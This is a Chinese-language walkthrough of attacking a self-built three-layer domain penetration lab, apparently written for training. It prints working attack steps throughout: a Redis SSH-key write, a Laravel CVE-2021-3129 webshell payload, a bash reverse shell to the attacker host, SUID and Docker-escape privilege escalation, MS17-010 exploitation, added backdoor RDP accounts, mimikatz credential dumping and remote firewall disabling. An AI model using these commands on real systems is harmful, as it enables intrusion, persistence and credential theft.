前言

从本科开始就断断续续地学习了一些安全方面的知识，到最近发现提升的最好方式就是不断地练习。经过一番查找，寻得一个不错的靶场，参考链接：自主搭建的三层网络域渗透靶场打靶记录，漏洞详情。在参考第一个链接中的文章进行渗透时，发现有些细节无法复现，并且在某些方面采取了不同渗透手段，故写下本文，希望能为同样有疑惑的小伙伴提供参考意见。对于本文中出现的错误，希望各位师傅不吝赐教。

0x00 靶场搭建

靶场需要的文件在漏洞详情可以下载，并且该链接中有对靶场详细的介绍。但是其中存在一些叙述错误。接下来介绍笔者在使用linux的vmware搭建靶场时遇到的各种问题，以及解决的办法和需要注意的事项。

1. 启动web1(DMZ)

(1) 该虚拟机需要使用最新的vmware16版本才能打开。并且需要手动选择使用虚拟网卡，如下图所示(windows版本的vmware不需要手动选择)。

(2)开启虚拟机，显示找不道磁盘文件，手动现在磁盘文件

(3)再次开启虚拟机，任然显示与磁盘有关的错误

(4)测试了一下，在windows版本的wmware上可以正常启动虚拟机，在linux下不行，应该是文件名中有中文字符，导致无法识别。最直接的想法就是能不能修改磁盘文件，通过查找资料，大多数都是通过 vmware-vdiskmanager这个软件来修改，但是出现以下的错误。

(5)vmware-vdiskmanager找不到文件，感觉无解了，继续查找资料，发现vmware-vdiskmanager的原理是修改*.vmdk文件。于是直接用文本编辑软件打开磁盘文件


上图蓝色标注的文件正好与虚拟机的虚拟磁盘文件对应，修改其名字，不带中文字符与空格。

(6)再次启动虚拟机，发现可以正常启动了，启动
redis服务sudo redis-server /etc/redis.conf，不使用sudo启动的话，后续无法在此机器上提权(CVE-2021-3156提权失败，主要还是自己太菜了，需要增加难度的可以不加sudo启动)。

2. 启动web2

(1)启动web2点击browse选择对应的磁盘文件
居然正常启动了，应该是磁盘文件没有像web1一样被分割。

(2)启动容器 sudo docker start 8e

3. 启动pc1

在C:\MYOA\bin中开启通达OA(AutoConfig.exe，这个程序在pc1中，不在pc2中),账号密码为Administrator:Whoami2021

4. 启动pc2与windows server

只需要启动机器，无需登录。

5. 网络拓扑图

整个网络拓扑图如下所示：（使用两台攻击机是因为awvs和nessus装在了win10的机器上。）

0x01 入侵web1

1.信息收集

(1)在win10上使用nessus扫描192.168.250.139，发现redis未授权漏洞，未发现其他的漏洞。

(2)awvs扫描http://192.168.250.139/，发现redis未授权漏洞。

(3)在kali上使用nmap扫描，发现开了81端口。

(4)访问81端口，发现是个网站，继续使用win10的awvs扫描81端口，发现Laravel漏洞（远程代码执行）。

2.redis未授权访问

(1)目前可以入手的地方有redis未授权漏洞与Laravel漏洞。先从reids未授权漏洞开始尝试。参考链接：Redis未授权访问详解。

(2)为kali安装redis，尝试连接web1的redis。并使用flushall清空redis中所有的数据。

(3)kali生成ssh登录的公私钥，使用3072长度的公钥(RSA非对称加密)。对密钥对的具体内容感兴趣，可以参考ssh-keygen生成的id_rsa文件的格式。

(4)将kali的公钥写入web1的redis中。
kali执行(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt。
cat /home/kali/.ssh/key.txt | ./redis-cli -h 192.168.250.139 -x set pubkey
至此，公钥已写入redis中。

(5)将kali的公钥从redis中写入web1的/root/.ssh/authorized_keys。
config set dir /root/.ssh
config set dbfilename authorized_keys
save

(6)kali登录web1: ssh root@192.168.250.139。收集web1的信息，发现还有子网192.168.52.0/24。

0x02 入侵web2

1.Laravel远程代码执行

(1)再尝试Laravel远程代码执行(CVE-2021-3129)，参考链接 CVE-2021-3129 Laravel Debug mode RCE 漏洞分析。

(2)使用postman验证漏洞是否存在。
Reponse

(3)清空日志文件。
php://filter/read=consumed/resource=../storage/logs/laravel.log

(4)发送无害payload对齐。

(5)生成攻击payload(phpggc链接 https://github.com/ambionics/phpggc)
php -d "phar.readonly=0" ./phpggc Laravel/RCE5 "system('echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4=|base64 -d > /var/www/html/shell.php');" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"

PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4=的解码内容如下：

(6)发送攻击payload:
在上一步的输出的末尾加上字符a，再发送

(7)转换payload：
php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log
注意转换文件这步一定要无返回信息，如果有错误，说明前几步根本没到位。

(8)进行反序列化:
phar://../storage/logs/laravel.log/test.txt

(9)使用蚂剑连接webshell，上传rshell.php，内容为<?php system('bash -c "bash -i >& /dev/tcp/192.168.250.112/8888 0>&1"'); ?>
kali执行nc -lvp 8888，访问192.168.250.139:81/rshell.php拿到反弹shell。

2.www-data提权

(1)尝试内核提权。上传linux-exploit-suggester.sh(https://github.com/mzet-/linux-exploit-suggester)，逐个尝试发现都不行。

(2)翻看参考链接，发现是利用suid提权。
find / -perm -u=s -type f 2>/dev/null
cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH
cd /home/jobs
./shell得到root权限，然后改密码，免得以后每次都要提权。

(3)安装ifconfig命令apt install net-tools。

执行ifconfig，发现ip有点奇怪，像是docker容器分配的ip，查看相关文件，发现真的是在docker中。

(4)到这一步又卡住了，查看链接，发现用到docker特权逃逸。查看/dev，发现sda,sda1,sda2,sda5几个可疑文件，将其挂载到/tmp/sda,/tmp/sda1,….上。sda已经挂载，挂载sda1，查看其中的一些关键文件:
/etc/passwd没什么有用信息。
/home 目录发现一个用户ubuntu(宿主机大概率是ubuntu系统)，检查web1的home目录，发现只有用户web，说明容器没有运行在web1上。
/etc/network/interfaces文件中保存对应的ip信息。

发现与web1 ip不同且都在192.168.52.0/24子网中，可能是web1 对端口81做了反向代理。回看awvs对web1的扫描结果:

查看web1的nginx配置文件

分别查看一下：


果然在web1上进行了反向代理 192.168.250.139:81-->192.168.250.20:8000。

(5)将web1的ssh公钥写入web2的/root/.ssh/authorized_keys。

随后从web1 ssh登录web2： ssh root@192.168.52.20。然后修改密码，以便后续登录。

(6)结合目前已知信息，绘制出网络拓扑图

0x03 为后续入侵做准备

为了进一步进行内网渗透，kali/win10需要访问192.168.52.0/24与192.168.93.0/24，可以借助web1进行路由，由web1充当NAT服务器。在这个靶场中，情况比较特殊，两台攻击机和web1在同一个子网中，但是在现实情况下，攻击机一般不会和web1在同一子网下，可以使用虚拟专用网络技术，将攻击机和web1放在同一个逻辑网络中，虚拟专用网络的服务器由web1担任，下图是一般情况的抽象描述：

(1)开始部署虚拟专用网络。在web1上搭建虚拟专用网络服务器。服务器搭建参考搭建虚拟专用网络。

(2)kali可以直接导入配置文件,windows端则需要对应的客户端(虚拟专用网络客户端)。配置好后并开启虚拟专用网络，可以看到kali多了一个ip 10.8.0.2(10.8.0.1是虚拟专用网的网关)

(3)攻击机要想访问192.168.52.0/24，只需要在web2上添加一条到192.168.250.0/24的路由项：route add -net 192.168.250.0 netmask 255.255.255.0 gw 192.168.52.10。这样kali与win10便能访问到192.168.52.0网络。

(4)但是攻击机要想访问192.168.93.0/24，需要先在web1中添加到192.168.93.0/24的路由项：route add -net 192.168.93.0 netmask 255.255.255.0 gw 192.168.52.20。这样来自攻击机的数据包能通过web2访问192.168.93.0/24，但是对于192.168.93.0/24中的其他机器的可能无法访问到192.168.250.0/24，因为路由表中可能不存在对应的路由项。所以将web2作为NAT服务器，进行流量转发。首先web2开启流量转发echo "1" > /proc/sys/net/ipv4/ip_forward。然后web2设置NAT表iptables -t nat -A POSTROUTING -j SNAT --to 192.168.93.10，设置允许NAT转发iptables -P INPUT ACCEPT，iptables -P FORWARD ACCEPT。最后成功访问192.168.93.0/24

(5)下图简单的描述了数据包从kali到192.168.93.0/24,并从192.168.93.0/24返回的过程：下图只是示意图，并不完全准确。

(6)至此，可以从kali与win10访问子网192.168.52.0/24与192.168.93.0/24。在kali上运行nmap -sP 192.168.52.0/24，nmap -sP 192.168.93.0/24

(7)也曾尝试过earthworm代理，但是无法win10的nessus和awvs的流量流量无法进入子网，所以最终选择了虚拟专用网络的方案。

0x04 入侵pc2

(1)对192.168.93.40进行仔细扫描。

(2)3389,445开放，应该是一台windows机器。上nessus再扫描。

(3)在kali的msf上尝试CVE-2019-0708-Bluekeep漏洞，把机器干关机了，无奈换一个漏洞试试。MS12-020也只能把机器打关机。尝试MS17-010漏洞，也是打关机。没办法了，在找找资料。最终查到 https://www.jianshu.com/p/2f31c453c70f，将payload里默认的reverse_tcp改为bind_tcp。改了一下，居然成功了。但是shell居然乱码

查找资料，输入chcp 65001，改变编码格式即可解决

(4)添加一个新用户net user test passwdsdff233.. /add，把test添加进远程左面组net localgroup "Remote Desktop Users" test /add

(5)顺利登入。看看文件夹，有没有什么有用的信息。找到下面的账户信息

(6)尝试登陆DC，弱口令Administrator-administrator等，都不行，遂放弃。

(7)发现该pc在域中，那其他机器呢，使用nmap -sP没有扫描出来，可能是有防火墙，过滤了nmap的扫描信息。查资料后，使用其他的扫描方式 https://blog.csdn.net/weixin_39624774/article/details/111282245。
nmap -p0 192.168.93.0/24无ping扫描，对每一个指定的目标IP地址进行所要求的扫描

nmap -PU 192.168.93.0/24发送一个空的报文到主机，如果返回则说明设备在线

nmap -PR 192.168.93.0/24apr ping扫描

nmap -sS 192.168.93.0/24与nmap -R 192.168.93.0/24发现新的主机，从开放的端口看，感觉像是域中负责认证的主机。

(8)在meterpreter中
load kiwi
kiwi_cmd sekurlsa::logonPasswords未得到任何有效信息

0x05 入侵win server

nessus扫描发现的192.168.93.30

发现一堆漏洞，测试所有的漏洞，发现都失败,应该是开了防火墙。至此，一共才发现了4台主机，拿下3台，还有一台没有扫出来了。查看参考链接，发现还有一台ip为192.168.52.30（难道是开了防火墙才没扫出来？192.168.93.40没开防火墙，被扫出来了）。但是访问http://192.168.52.30:8080与http://192.168.93.20:8080没反应。使用参考链接里的方法也没把机器扫描出来 https://www.freebuf.com/articles/network/264560.html。（难道要手动关闭防火墙？）。

0x06 入侵pc1

(1)手动关闭pc1的防火墙后，在win10上能访问http://192.168.93.20:8080，但是却不能访问http://192.168.52.30:8080，win10能ping通192.168.93.20与192.168.52.20，但是却ping不通192.168.52.30，目前不确定原因。

(2)利用通达OA文件上传漏洞，上传图片马。参考链接https://blog.csdn.net/szgyunyun/article/details/107104288

(3)kali中利用msf生成反弹shell。（此处为32位的反弹shell，64位的反弹shell与正向连接shell会失败，后面尝试将生成的64位正向、反向木马直接放到pc2运行也不能在msf中拿到shell，无奈只能使用32位的shell）。

点击run

在pc1执行反弹shell代码，在msf中等待反弹shell的连接。

(4)在shell中打开3389端口号REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
查看RDP端口REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber

(5)添加账号net user test1 passwd /add
将test1加入远程桌面组net localgroup "Remote Desktop Users" test1 /add

(6)远程登录到机器上收集信息，ip地址，存在的用户等
根据收集到的信息，该机器应该和192.168.93.30 192.168.93.40 在一个域中，尝试使用mimikatz抓取密码。

输入load kiwi，kiwi_cmd sekurlsa::logonPasswords提示mimikatz x86 cannot access x64 process。

分析发现，反弹的shell是32位，需要将meterpreter进程迁移到一个64位进程中（参考链接 https://www.zhihu.com/question/458777798/answer/1879326720，https://blog.csdn.net/qq_41453632/article/details/84726947）。

经过尝试，将进程迁移到system用户的mysqld进程中（不能迁移到普通用户的进程中，会导致shell权限不足。也不能迁移到系统进程中，可能会导致蓝屏）。

load kiwi
kiwi_cmd privilege::debug
kiwi_cmd sekurlsa::logonPasswords
得到管理员账号密码Administrator-Whoami2021以及其他的账号bunny-Bunny2021

(7)另一种方法，使用nessus扫描pc1，发现MS17-010漏洞，可以直接参考0x04入侵pc2的方法。

0x07 登录win server

(1)尝试使用域管理员密码登录。登录失败，看样子是防火墙的原因。

(2)尝试关闭防火墙。在pc1的反弹shell中连接到域控。

关闭防火墙sc \\192.168.93.30 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"，sc \\192.168.93.30 start unablefirewall

(3)再次尝试登录域控

0x08 结束语

至此所有机器都被拿下。回顾整个过程，故写下这篇文章，一是为了总结；二是列出过程中踩的坑，供大家参考。